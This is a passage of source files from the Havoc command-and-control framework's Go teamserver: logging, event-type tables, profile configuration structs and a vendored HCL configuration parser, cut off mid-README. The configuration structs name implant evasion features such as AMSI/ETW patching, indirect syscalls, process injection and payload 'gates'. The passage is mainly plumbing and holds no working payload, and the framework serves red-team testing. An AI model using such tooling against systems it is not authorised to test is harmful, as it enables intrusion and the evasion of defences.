havoc-0.6~git20240910.69ce17c/teamserver/pkg/logr/logr.go000066400000000000000000000026201467014221700224620ustar00rootroot00000000000000package logr import ( "os" "Havoc/pkg/logger" ) type Logr struct { // Path to directory where everything is going to be logged (user chat, input/output from agent) Path string ListenerPath string AgentPath string ServerPath string LogrSendText func(text string) } var LogrInstance *Logr func NewLogr(Server, Path string) *Logr { var ( logr = new(Logr) err error ) logr.ServerPath = Server logr.Path = Server + "/" + Path logr.ListenerPath = Path + "/listener" logr.AgentPath = Path + "/agents" if _, err = os.Stat(Path); os.IsNotExist(err) { if err = os.MkdirAll(Path, os.ModePerm); err != nil { logger.Error("Failed to create Logr folder: " + err.Error()) return nil } } else { err = os.RemoveAll(Path) if err == nil { if err = os.MkdirAll(Path, os.ModePerm); err != nil { logger.Error("Failed to create Logr folder: " + err.Error()) return nil } } else { logger.Error(err.Error()) } } if _, err = os.Stat(logr.AgentPath); os.IsNotExist(err) { if err = os.MkdirAll(logr.AgentPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr agent folder: " + err.Error()) return nil } } if _, err = os.Stat(logr.ListenerPath); os.IsNotExist(err) { if err = os.MkdirAll(logr.ListenerPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr listener folder: " + err.Error()) return nil } } return logr } havoc-0.6~git20240910.69ce17c/teamserver/pkg/logr/server.go000066400000000000000000000021651467014221700230310ustar00rootroot00000000000000package logr import ( "bufio" "log" "os" "regexp" "Havoc/pkg/logger" ) func strip(str []byte) []byte { var ( ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" re = regexp.MustCompile(ansi) ) return []byte(re.ReplaceAllString(string(str), "")) } func (l Logr) ServerStdOutInit() { var ( PathStdOut = l.Path + "/teamserver.log" OldStdout = os.Stdout StdRead, StdWrite, _ = os.Pipe() ) File, err := os.OpenFile(PathStdOut, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } os.Stdout = StdWrite logger.LoggerInstance = logger.NewLogger(StdWrite) go func() { var Reader = bufio.NewReader(StdRead) for { if Reader.Size() > 0 { var ( rawLine, _, _ = Reader.ReadLine() line = []byte(string(rawLine) + "\n") ) if l.LogrSendText != nil { l.LogrSendText(string(strip(rawLine))) } _, err := File.Write(strip(line)) if err != nil { return } _, err = OldStdout.Write(line) if err != nil { return } } } }() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/packager/000077500000000000000000000000001467014221700220025ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/packager/packages.go000066400000000000000000000005771467014221700241200ustar00rootroot00000000000000package packager import ( "encoding/json" "Havoc/pkg/logger" ) func NewPackager() *Packager { return new(Packager) } func (p Packager) CreatePackage(jsonObject string) Package { var pk Package if err := json.Unmarshal([]byte(jsonObject), &pk); err != nil { logger.Error("Error while creating Package struct :: " + err.Error()) } return pk } havoc-0.6~git20240910.69ce17c/teamserver/pkg/packager/types.go000066400000000000000000000066511467014221700235050ustar00rootroot00000000000000package packager type ( MiscType struct { Type int MessageBox int } Head struct { Event int `json:"Event"` User string `json:"User"` Time string `json:"Time"` OneTime string `json:"OneTime"` } Body struct { SubEvent int `json:"SubEvent"` Info map[string]any `json:"Info"` } Packager struct{} Package struct { Head Head Body Body } Types struct { InitConnection struct { Type int OAuthRequest int Success int Error int InitInfo int Profile int } Listener struct { Type int Add int Remove int Edit int Mark int Error int } Chat struct { Type int NewMessage int NewListener int NewSession int NewUser int UserDisconnected int } Credentials struct { Type int Add int Edit int Remove int } HostFile struct { Type int Add int Remove int } Session struct { Type int NewSession int Input int Output int Remove int MarkAsDead int } Gate struct { Type int Staged int Stageless int MSOffice int } // TODO: remove Module struct { Type int Register int Unload int Call int } Service struct { Type int RegisterAgent int RegisterListener int } Misc struct { Type int MessageBox int } Teamserver struct { Type int Log int Profile int } } ) var Type = Types{ InitConnection: struct { Type int OAuthRequest int Success int Error int InitInfo int Profile int }{ Type: 0x1, Success: 0x1, Error: 0x2, OAuthRequest: 0x3, InitInfo: 0x4, Profile: 0x5, }, Listener: struct { Type int Add int Remove int Edit int Mark int Error int }{ Type: 0x2, Add: 0x1, Edit: 0x2, Remove: 0x3, Mark: 0x4, Error: 0x5, }, Chat: struct { Type int NewMessage int NewListener int NewSession int NewUser int UserDisconnected int }{ Type: 0x4, NewMessage: 0x1, NewListener: 0x2, NewSession: 0x3, NewUser: 0x4, UserDisconnected: 0x5, }, Credentials: struct { Type int Add int Edit int Remove int }{ Type: 0x3, Add: 0x1, Edit: 0x2, Remove: 0x3, }, HostFile: struct { Type int Add int Remove int }{ Type: 0x6, Add: 0x1, Remove: 0x2, }, Session: struct { Type int NewSession int Input int Output int Remove int MarkAsDead int }{ Type: 0x7, NewSession: 0x1, Remove: 0x2, Input: 0x3, Output: 0x4, MarkAsDead: 0x5, }, Gate: struct { Type int Staged int Stageless int MSOffice int }{ Type: 0x5, Staged: 0x1, Stageless: 0x2, MSOffice: 0x3, }, Module: struct { Type int Register int Unload int Call int }{ Type: 0x6, Register: 0x1, Unload: 0x2, Call: 0x3, }, Misc: struct { Type int MessageBox int }{ Type: 0x7, MessageBox: 0x1, }, Service: struct { Type int RegisterAgent int RegisterListener int }{ Type: 0x9, RegisterAgent: 0x1, RegisterListener: 0x2, }, Teamserver: struct { Type int Log int Profile int }{Type: 0x10, Log: 0x1, Profile: 0x2}, } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/000077500000000000000000000000001467014221700216655ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/config.go000066400000000000000000000107311467014221700234630ustar00rootroot00000000000000package profile type HavocConfig struct { Server *ServerProfile `yaotl:"Teamserver,block"` Operators *OperatorsBlock `yaotl:"Operators,block"` Listener *Listeners `yaotl:"Listeners,block"` Demon *Demon `yaotl:"Demon,block"` Service *ServiceConfig `yaotl:"Service,block"` WebHook *WebHookConfig `yaotl:"WebHook,block"` } type WebHookDiscordConfig struct { WebHook string `yaotl:"Url"` AvatarUrl string `yaotl:"AvatarUrl,optional"` UserName string `yaotl:"User,optional"` } type WebHookConfig struct { Discord *WebHookDiscordConfig `yaotl:"Discord,block"` } type BuildConfig struct { Compiler64 string `yaotl:"Compiler64,optional"` Compiler86 string `yaotl:"Compiler86,optional"` Nasm string `yaotl:"Nasm,optional"` } type ServiceConfig struct { Endpoint string `yaotl:"Endpoint"` Password string `yaotl:"Password"` } type ServerProfile struct { Host string `yaotl:"Host"` Port int `yaotl:"Port"` Build *BuildConfig `yaotl:"Build,block"` // TODO: add WebSocket server config // Path for Havoc connection // TLS or not } type OperatorsBlock struct { Users []UsersBlock `yaotl:"user,block"` } type UsersBlock struct { Name string `yaotl:"Name,label"` Password string `yaotl:"Password"` } type Listeners struct { ListenerHTTP []*ListenerHTTP `yaotl:"Http,block"` ListenerSMB []*ListenerSMB `yaotl:"Smb,block"` ListenerExternal []*ListenerExternal `yaotl:"External,block"` } type ListenerHTTP struct { Name string `yaotl:"Name"` // 2006-01-02 15:04:05 KillDate string `yaotl:"KillDate,optional"` // 8:00-17:00 WorkingHours string `yaotl:"WorkingHours,optional"` Hosts []string `yaotl:"Hosts"` HostBind string `yaotl:"HostBind"` HostRotation string `yaotl:"HostRotation"` /* Port used by the TS */ PortBind int `yaotl:"PortBind"` /* Port used by the agent */ PortConn int `yaotl:"PortConn,optional"` Methode string `yaotl:"Method,optional"` /* optional fields */ UserAgent string `yaotl:"UserAgent,optional"` Headers []string `yaotl:"Headers,optional"` Uris []string `yaotl:"Uris,optional"` Secure bool `yaotl:"Secure,optional"` /* optional sub blocks */ Cert *ListenerHttpCerts `yaotl:"Cert,block"` Response *ListenerHttpResponse `yaotl:"Response,block"` Proxy *ListenerHttpProxy `yaotl:"Proxy,block"` } type ListenerSMB struct { Name string `yaotl:"Name"` PipeName string `yaotl:"PipeName"` // 2006-01-02 15:04:05 KillDate string `yaotl:"KillDate,optional"` // 8:00-17:00 WorkingHours string `yaotl:"WorkingHours,optional"` } type ListenerExternal struct { Name string `yaotl:"Name"` Endpoint string `yaotl:"Endpoint"` } type ListenerHttpResponse struct { Headers []string `yaotl:"Headers,optional"` } type ListenerHttpProxy struct { Host string `yaotl:"Host"` Port int `yaotl:"Port"` User string `yaotl:"Username,optional"` Pass string `yaotl:"Password,optional"` } type ListenerHttpCerts struct { Cert string `yaotl:"Cert"` Key string `yaotl:"Key"` } type HeaderBlock struct { MagicMzX64 string `yaotl:"MagicMz-x64,optional"` // max 2 bytes MagicMzX86 string `yaotl:"MagicMz-x86,optional"` // max 2 bytes CompileTime string `yaotl:"CompileTime,optional"` ImageSizeX64 int `yaotl:"ImageSize-x64,optional"` ImageSizeX86 int `yaotl:"ImageSize-x86,optional"` } type Binary struct { Header *HeaderBlock `yaotl:"Header,block"` ReplaceStringsX64 map[string]string `yaotl:"ReplaceStrings-x64,optional"` ReplaceStringsX86 map[string]string `yaotl:"ReplaceStrings-x86,optional"` } type ProcessInjectionBlock struct { Spawn64 string `yaotl:"Spawn64,optional"` Spawn32 string `yaotl:"Spawn32,optional"` } type Demon struct { Sleep int `yaotl:"Sleep,optional"` Jitter int `yaotl:"Jitter,optional"` IndirectSyscall bool `yaotl:"IndirectSyscall,optional"` StackDuplication bool `yaotl:"StackDuplication,optional"` SleepTechnique string `yaotl:"SleepTechnique,optional"` ProxyLoading string `yaotl:"ProxyLoading,optional"` AmsiEtwPatching string `yaotl:"AmsiEtwPatching,optional"` ProcessInjection *ProcessInjectionBlock `yaotl:"Injection,block"` DotNetNamePipe string `yaotl:"DotNetNamePipe,optional"` Binary *Binary `yaotl:"Binary,block"` TrustXForwardedFor bool `yaotl:"TrustXForwardedFor,optional"` } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/profile.go000066400000000000000000000015761467014221700236650ustar00rootroot00000000000000package profile import ( "Havoc/pkg/colors" "Havoc/pkg/logger" yaotl "Havoc/pkg/profile/yaotl/hclsimple" ) type Profile struct { Config HavocConfig } func NewProfile() *Profile { return new(Profile) } func (p *Profile) SetProfile(path string, def bool) error { err := yaotl.DecodeFile(path, nil, &p.Config) if err != nil { return err } if def { logger.Info("Use default profile") } else { logger.Info("Havoc profile:", colors.Blue(path)) } return nil } func (p *Profile) ServerHost() string { if p.Config.Server != nil { return p.Config.Server.Host } return "" } func (p *Profile) ServerPort() int { if p.Config.Server != nil { return p.Config.Server.Port } return 0 } func (p *Profile) ListOfUsernames() []string { var Usernames []string for _, user := range p.Config.Operators.Users { Usernames = append(Usernames, user.Name) } return Usernames } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/000077500000000000000000000000001467014221700230155ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/diagnostic.go000066400000000000000000000112571467014221700254760ustar00rootroot00000000000000package hcl import ( "fmt" ) // DiagnosticSeverity represents the severity of a diagnostic. type DiagnosticSeverity int const ( // DiagInvalid is the invalid zero value of DiagnosticSeverity DiagInvalid DiagnosticSeverity = iota // DiagError indicates that the problem reported by a diagnostic prevents // further progress in parsing and/or evaluating the subject. DiagError // DiagWarning indicates that the problem reported by a diagnostic warrants // user attention but does not prevent further progress. It is most // commonly used for showing deprecation notices. DiagWarning ) // Diagnostic represents information to be presented to a user about an // error or anomaly in parsing or evaluating configuration. type Diagnostic struct { Severity DiagnosticSeverity // Summary and Detail contain the English-language description of the // problem. Summary is a terse description of the general problem and // detail is a more elaborate, often-multi-sentence description of // the problem and what might be done to solve it. Summary string Detail string // Subject and Context are both source ranges relating to the diagnostic. // // Subject is a tight range referring to exactly the construct that // is problematic, while Context is an optional broader range (which should // fully contain Subject) that ought to be shown around Subject when // generating isolated source-code snippets in diagnostic messages. // If Context is nil, the Subject is also the Context. // // Some diagnostics have no source ranges at all. If Context is set then // Subject should always also be set. Subject *Range Context *Range // For diagnostics that occur when evaluating an expression, Expression // may refer to that expression and EvalContext may point to the // EvalContext that was active when evaluating it. This may allow for the // inclusion of additional useful information when rendering a diagnostic // message to the user. // // It is not always possible to select a single EvalContext for a // diagnostic, and so in some cases this field may be nil even when an // expression causes a problem. // // EvalContexts form a tree, so the given EvalContext may refer to a parent // which in turn refers to another parent, etc. For a full picture of all // of the active variables and functions the caller must walk up this // chain, preferring definitions that are "closer" to the expression in // case of colliding names. Expression Expression EvalContext *EvalContext } // Diagnostics is a list of Diagnostic instances. type Diagnostics []*Diagnostic // error implementation, so that diagnostics can be returned via APIs // that normally deal in vanilla Go errors. // // This presents only minimal context about the error, for compatibility // with usual expectations about how errors will present as strings. func (d *Diagnostic) Error() string { return fmt.Sprintf("%s: %s; %s", d.Subject, d.Summary, d.Detail) } // error implementation, so that sets of diagnostics can be returned via // APIs that normally deal in vanilla Go errors. func (d Diagnostics) Error() string { count := len(d) switch { case count == 0: return "no diagnostics" case count == 1: return d[0].Error() default: return fmt.Sprintf("%s, and %d other diagnostic(s)", d[0].Error(), count-1) } } // Append appends a new error to a Diagnostics and return the whole Diagnostics. // // This is provided as a convenience for returning from a function that // collects and then returns a set of diagnostics: // // return nil, diags.Append(&hcl.Diagnostic{ ... }) // // Note that this modifies the array underlying the diagnostics slice, so // must be used carefully within a single codepath. It is incorrect (and rude) // to extend a diagnostics created by a different subsystem. func (d Diagnostics) Append(diag *Diagnostic) Diagnostics { return append(d, diag) } // Extend concatenates the given Diagnostics with the receiver and returns // the whole new Diagnostics. // // This is similar to Append but accepts multiple diagnostics to add. It has // all the same caveats and constraints. func (d Diagnostics) Extend(diags Diagnostics) Diagnostics { return append(d, diags...) } // HasErrors returns true if the receiver contains any diagnostics of // severity DiagError. func (d Diagnostics) HasErrors() bool { for _, diag := range d { if diag.Severity == DiagError { return true } } return false } func (d Diagnostics) Errs() []error { var errs []error for _, diag := range d { if diag.Severity == DiagError { errs = append(errs, diag) } } return errs } // A DiagnosticWriter emits diagnostics somehow. type DiagnosticWriter interface { WriteDiagnostic(*Diagnostic) error WriteDiagnostics(Diagnostics) error } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/diagnostic_text.go000066400000000000000000000204571467014221700265440ustar00rootroot00000000000000package hcl import ( "bufio" "bytes" "errors" "fmt" "io" "sort" wordwrap "github.com/mitchellh/go-wordwrap" "github.com/zclconf/go-cty/cty" ) type diagnosticTextWriter struct { files map[string]*File wr io.Writer width uint color bool } // NewDiagnosticTextWriter creates a DiagnosticWriter that writes diagnostics // to the given writer as formatted text. // // It is designed to produce text appropriate to print in a monospaced font // in a terminal of a particular width, or optionally with no width limit. // // The given width may be zero to disable word-wrapping of the detail text // and truncation of source code snippets. // // If color is set to true, the output will include VT100 escape sequences to // color-code the severity indicators. It is suggested to turn this off if // the target writer is not a terminal. func NewDiagnosticTextWriter(wr io.Writer, files map[string]*File, width uint, color bool) DiagnosticWriter { return &diagnosticTextWriter{ files: files, wr: wr, width: width, color: color, } } func (w *diagnosticTextWriter) WriteDiagnostic(diag *Diagnostic) error { if diag == nil { return errors.New("nil diagnostic") } var colorCode, highlightCode, resetCode string if w.color { switch diag.Severity { case DiagError: colorCode = "\x1b[31m" case DiagWarning: colorCode = "\x1b[33m" } resetCode = "\x1b[0m" highlightCode = "\x1b[1;4m" } var severityStr string switch diag.Severity { case DiagError: severityStr = "Error" case DiagWarning: severityStr = "Warning" default: // should never happen severityStr = "???????" } fmt.Fprintf(w.wr, "%s%s%s: %s\n\n", colorCode, severityStr, resetCode, diag.Summary) if diag.Subject != nil { snipRange := *diag.Subject highlightRange := snipRange if diag.Context != nil { // Show enough of the source code to include both the subject // and context ranges, which overlap in all reasonable // situations. snipRange = RangeOver(snipRange, *diag.Context) } // We can't illustrate an empty range, so we'll turn such ranges into // single-character ranges, which might not be totally valid (may point // off the end of a line, or off the end of the file) but are good // enough for the bounds checks we do below. if snipRange.Empty() { snipRange.End.Byte++ snipRange.End.Column++ } if highlightRange.Empty() { highlightRange.End.Byte++ highlightRange.End.Column++ } file := w.files[diag.Subject.Filename] if file == nil || file.Bytes == nil { fmt.Fprintf(w.wr, " on %s line %d:\n (source code not available)\n\n", diag.Subject.Filename, diag.Subject.Start.Line) } else { var contextLine string if diag.Subject != nil { contextLine = contextString(file, diag.Subject.Start.Byte) if contextLine != "" { contextLine = ", in " + contextLine } } fmt.Fprintf(w.wr, " on %s line %d%s:\n", diag.Subject.Filename, diag.Subject.Start.Line, contextLine) src := file.Bytes sc := NewRangeScanner(src, diag.Subject.Filename, bufio.ScanLines) for sc.Scan() { lineRange := sc.Range() if !lineRange.Overlaps(snipRange) { continue } beforeRange, highlightedRange, afterRange := lineRange.PartitionAround(highlightRange) if highlightedRange.Empty() { fmt.Fprintf(w.wr, "%4d: %s\n", lineRange.Start.Line, sc.Bytes()) } else { before := beforeRange.SliceBytes(src) highlighted := highlightedRange.SliceBytes(src) after := afterRange.SliceBytes(src) fmt.Fprintf( w.wr, "%4d: %s%s%s%s%s\n", lineRange.Start.Line, before, highlightCode, highlighted, resetCode, after, ) } } w.wr.Write([]byte{'\n'}) } if diag.Expression != nil && diag.EvalContext != nil { // We will attempt to render the values for any variables // referenced in the given expression as additional context, for // situations where the same expression is evaluated multiple // times in different scopes. expr := diag.Expression ctx := diag.EvalContext vars := expr.Variables() stmts := make([]string, 0, len(vars)) seen := make(map[string]struct{}, len(vars)) for _, traversal := range vars { val, diags := traversal.TraverseAbs(ctx) if diags.HasErrors() { // Skip anything that generates errors, since we probably // already have the same error in our diagnostics set // already. continue } traversalStr := w.traversalStr(traversal) if _, exists := seen[traversalStr]; exists { continue // don't show duplicates when the same variable is referenced multiple times } switch { case !val.IsKnown(): // Can't say anything about this yet, then. continue case val.IsNull(): stmts = append(stmts, fmt.Sprintf("%s set to null", traversalStr)) default: stmts = append(stmts, fmt.Sprintf("%s as %s", traversalStr, w.valueStr(val))) } seen[traversalStr] = struct{}{} } sort.Strings(stmts) // FIXME: Should maybe use a traversal-aware sort that can sort numeric indexes properly? last := len(stmts) - 1 for i, stmt := range stmts { switch i { case 0: w.wr.Write([]byte{'w', 'i', 't', 'h', ' '}) default: w.wr.Write([]byte{' ', ' ', ' ', ' ', ' '}) } w.wr.Write([]byte(stmt)) switch i { case last: w.wr.Write([]byte{'.', '\n', '\n'}) default: w.wr.Write([]byte{',', '\n'}) } } } } if diag.Detail != "" { detail := diag.Detail if w.width != 0 { detail = wordwrap.WrapString(detail, w.width) } fmt.Fprintf(w.wr, "%s\n\n", detail) } return nil } func (w *diagnosticTextWriter) WriteDiagnostics(diags Diagnostics) error { for _, diag := range diags { err := w.WriteDiagnostic(diag) if err != nil { return err } } return nil } func (w *diagnosticTextWriter) traversalStr(traversal Traversal) string { // This is a specialized subset of traversal rendering tailored to // producing helpful contextual messages in diagnostics. It is not // comprehensive nor intended to be used for other purposes. var buf bytes.Buffer for _, step := range traversal { switch tStep := step.(type) { case TraverseRoot: buf.WriteString(tStep.Name) case TraverseAttr: buf.WriteByte('.') buf.WriteString(tStep.Name) case TraverseIndex: buf.WriteByte('[') if keyTy := tStep.Key.Type(); keyTy.IsPrimitiveType() { buf.WriteString(w.valueStr(tStep.Key)) } else { // We'll just use a placeholder for more complex values, // since otherwise our result could grow ridiculously long. buf.WriteString("...") } buf.WriteByte(']') } } return buf.String() } func (w *diagnosticTextWriter) valueStr(val cty.Value) string { // This is a specialized subset of value rendering tailored to producing // helpful but concise messages in diagnostics. It is not comprehensive // nor intended to be used for other purposes. ty := val.Type() switch { case val.IsNull(): return "null" case !val.IsKnown(): // Should never happen here because we should filter before we get // in here, but we'll do something reasonable rather than panic. return "(not yet known)" case ty == cty.Bool: if val.True() { return "true" } return "false" case ty == cty.Number: bf := val.AsBigFloat() return bf.Text('g', 10) case ty == cty.String: // Go string syntax is not exactly the same as HCL native string syntax, // but we'll accept the minor edge-cases where this is different here // for now, just to get something reasonable here. return fmt.Sprintf("%q", val.AsString()) case ty.IsCollectionType() || ty.IsTupleType(): l := val.LengthInt() switch l { case 0: return "empty " + ty.FriendlyName() case 1: return ty.FriendlyName() + " with 1 element" default: return fmt.Sprintf("%s with %d elements", ty.FriendlyName(), l) } case ty.IsObjectType(): atys := ty.AttributeTypes() l := len(atys) switch l { case 0: return "object with no attributes" case 1: var name string for k := range atys { name = k } return fmt.Sprintf("object with 1 attribute %q", name) default: return fmt.Sprintf("object with %d attributes", l) } default: return ty.FriendlyName() } } func contextString(file *File, offset int) string { type contextStringer interface { ContextString(offset int) string } if cser, ok := file.Nav.(contextStringer); ok { return cser.ContextString(offset) } return "" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/didyoumean.go000066400000000000000000000014471467014221700255100ustar00rootroot00000000000000package hcl import ( "github.com/agext/levenshtein" ) // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/doc.go000066400000000000000000000022271467014221700241140ustar00rootroot00000000000000// Package hcl contains the main modelling types and general utility functions // for HCL. // // For a simple entry point into HCL, see the package in the subdirectory // "hclsimple", which has an opinionated function Decode that can decode HCL // configurations in either native HCL syntax or JSON syntax into a Go struct // type: // // package main // // import ( // "log" // "Havoc/pkg/profile/yaotl/hclsimple" // ) // // type Config struct { // LogLevel string `hcl:"log_level"` // } // // func main() { // var config Config // err := hclsimple.DecodeFile("config.hcl", nil, &config) // if err != nil { // log.Fatalf("Failed to load configuration: %s", err) // } // log.Printf("Configuration is %#v", config) // } // // If your application needs more control over the evaluation of the // configuration, you can use the functions in the subdirectories hclparse, // gohcl, hcldec, etc. Splitting the handling of configuration into multiple // phases allows for advanced patterns such as allowing expressions in one // part of the configuration to refer to data defined in another part. package hcl havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/eval_context.go000066400000000000000000000012041467014221700260340ustar00rootroot00000000000000package hcl import ( "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) // An EvalContext provides the variables and functions that should be used // to evaluate an expression. type EvalContext struct { Variables map[string]cty.Value Functions map[string]function.Function parent *EvalContext } // NewChild returns a new EvalContext that is a child of the receiver. func (ctx *EvalContext) NewChild() *EvalContext { return &EvalContext{parent: ctx} } // Parent returns the parent of the receiver, or nil if the receiver has // no parent. func (ctx *EvalContext) Parent() *EvalContext { return ctx.parent } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/expr_call.go000066400000000000000000000026121467014221700253160ustar00rootroot00000000000000package hcl // ExprCall tests if the given expression is a function call and, // if so, extracts the function name and the expressions that represent // the arguments. If the given expression is not statically a function call, // error diagnostics are returned. // // A particular Expression implementation can support this function by // offering a method called ExprCall that takes no arguments and returns // *StaticCall. This method should return nil if a static call cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprCall(expr Expression) (*StaticCall, Diagnostics) { type exprCall interface { ExprCall() *StaticCall } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprCall) return supported }) if exC, supported := physExpr.(exprCall); supported { if call := exC.ExprCall(); call != nil { return call, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static function call is required.", Subject: expr.StartRange().Ptr(), }, } } // StaticCall represents a function call that was extracted statically from // an expression using ExprCall. type StaticCall struct { Name string NameRange Range Arguments []Expression ArgsRange Range } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/expr_list.go000066400000000000000000000022431467014221700253560ustar00rootroot00000000000000package hcl // ExprList tests if the given expression is a static list construct and, // if so, extracts the expressions that represent the list elements. // If the given expression is not a static list, error diagnostics are // returned. // // A particular Expression implementation can support this function by // offering a method called ExprList that takes no arguments and returns // []Expression. This method should return nil if a static list cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprList(expr Expression) ([]Expression, Diagnostics) { type exprList interface { ExprList() []Expression } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprList) return supported }) if exL, supported := physExpr.(exprList); supported { if list := exL.ExprList(); list != nil { return list, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static list expression is required.", Subject: expr.StartRange().Ptr(), }, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/expr_map.go000066400000000000000000000025361467014221700251650ustar00rootroot00000000000000package hcl // ExprMap tests if the given expression is a static map construct and, // if so, extracts the expressions that represent the map elements. // If the given expression is not a static map, error diagnostics are // returned. // // A particular Expression implementation can support this function by // offering a method called ExprMap that takes no arguments and returns // []KeyValuePair. This method should return nil if a static map cannot // be extracted. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) { type exprMap interface { ExprMap() []KeyValuePair } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(exprMap) return supported }) if exM, supported := physExpr.(exprMap); supported { if pairs := exM.ExprMap(); pairs != nil { return pairs, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A static map expression is required.", Subject: expr.StartRange().Ptr(), }, } } // KeyValuePair represents a pair of expressions that serve as a single item // within a map or object definition construct. type KeyValuePair struct { Key Expression Value Expression } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/expr_unwrap.go000066400000000000000000000047111467014221700257210ustar00rootroot00000000000000package hcl type unwrapExpression interface { UnwrapExpression() Expression } // UnwrapExpression removes any "wrapper" expressions from the given expression, // to recover the representation of the physical expression given in source // code. // // Sometimes wrapping expressions are used to modify expression behavior, e.g. // in extensions that need to make some local variables available to certain // sub-trees of the configuration. This can make it difficult to reliably // type-assert on the physical AST types used by the underlying syntax. // // Unwrapping an expression may modify its behavior by stripping away any // additional constraints or capabilities being applied to the Value and // Variables methods, so this function should generally only be used prior // to operations that concern themselves with the static syntax of the input // configuration, and not with the effective value of the expression. // // Wrapper expression types must support unwrapping by implementing a method // called UnwrapExpression that takes no arguments and returns the embedded // Expression. Implementations of this method should peel away only one level // of wrapping, if multiple are present. This method may return nil to // indicate _dynamically_ that no wrapped expression is available, for // expression types that might only behave as wrappers in certain cases. func UnwrapExpression(expr Expression) Expression { for { unwrap, wrapped := expr.(unwrapExpression) if !wrapped { return expr } innerExpr := unwrap.UnwrapExpression() if innerExpr == nil { return expr } expr = innerExpr } } // UnwrapExpressionUntil is similar to UnwrapExpression except it gives the // caller an opportunity to test each level of unwrapping to see each a // particular expression is accepted. // // This could be used, for example, to unwrap until a particular other // interface is satisfied, regardless of wrap wrapping level it is satisfied // at. // // The given callback function must return false to continue wrapping, or // true to accept and return the proposed expression given. If the callback // function rejects even the final, physical expression then the result of // this function is nil. func UnwrapExpressionUntil(expr Expression, until func(Expression) bool) Expression { for { if until(expr) { return expr } unwrap, wrapped := expr.(unwrapExpression) if !wrapped { return nil } expr = unwrap.UnwrapExpression() if expr == nil { return nil } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/000077500000000000000000000000001467014221700236155ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/README.md000066400000000000000000000007161467014221700251000ustar00rootroot00000000000000# HCL Extensions This directory contains some packages implementing some extensions to HCL that add features by building on the core API in the main `hcl` package. These serve as optional language extensions for use-cases that are limited only to specific callers. Generally these make the language more expressive at the expense of increased dynamic behavior that may be undesirable for applications that need to impose more rigid structure on configuration. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/customdecode/000077500000000000000000000000001467014221700262735ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/customdecode/README.md000066400000000000000000000215661467014221700275640ustar00rootroot00000000000000# HCL Custom Static Decoding Extension This HCL extension provides a mechanism for defining arguments in an HCL-based language whose values are derived using custom decoding rules against the HCL expression syntax, overriding the usual behavior of normal expression evaluation. "Arguments", for the purpose of this extension, currently includes the following two contexts: * For applications using `hcldec` for dynamic decoding, a `hcldec.AttrSpec` or `hcldec.BlockAttrsSpec` can be given a special type constraint that opts in to custom decoding behavior for the attribute(s) that are selected by that specification. * When working with the HCL native expression syntax, a function given in the `hcl.EvalContext` during evaluation can have parameters with special type constraints that opt in to custom decoding behavior for the argument expression associated with that parameter in any call. The above use-cases are rather abstract, so we'll consider a motivating real-world example: sometimes we (language designers) need to allow users to specify type constraints directly in the language itself, such as in [Terraform's Input Variables](https://www.terraform.io/docs/configuration/variables.html). Terraform's `variable` blocks include an argument called `type` which takes a type constraint given using HCL expression building-blocks as defined by [the HCL `typeexpr` extension](../typeexpr/README.md). A "type constraint expression" of that sort is not an expression intended to be evaluated in the usual way. Instead, the physical expression is deconstructed using [the static analysis operations](../../spec.md#static-analysis) to produce a `cty.Type` as the result, rather than a `cty.Value`. The purpose of this Custom Static Decoding Extension, then, is to provide a bridge to allow that sort of custom decoding to be used via mechanisms that normally deal in `cty.Value`, such as `hcldec` and native syntax function calls as listed above. (Note: 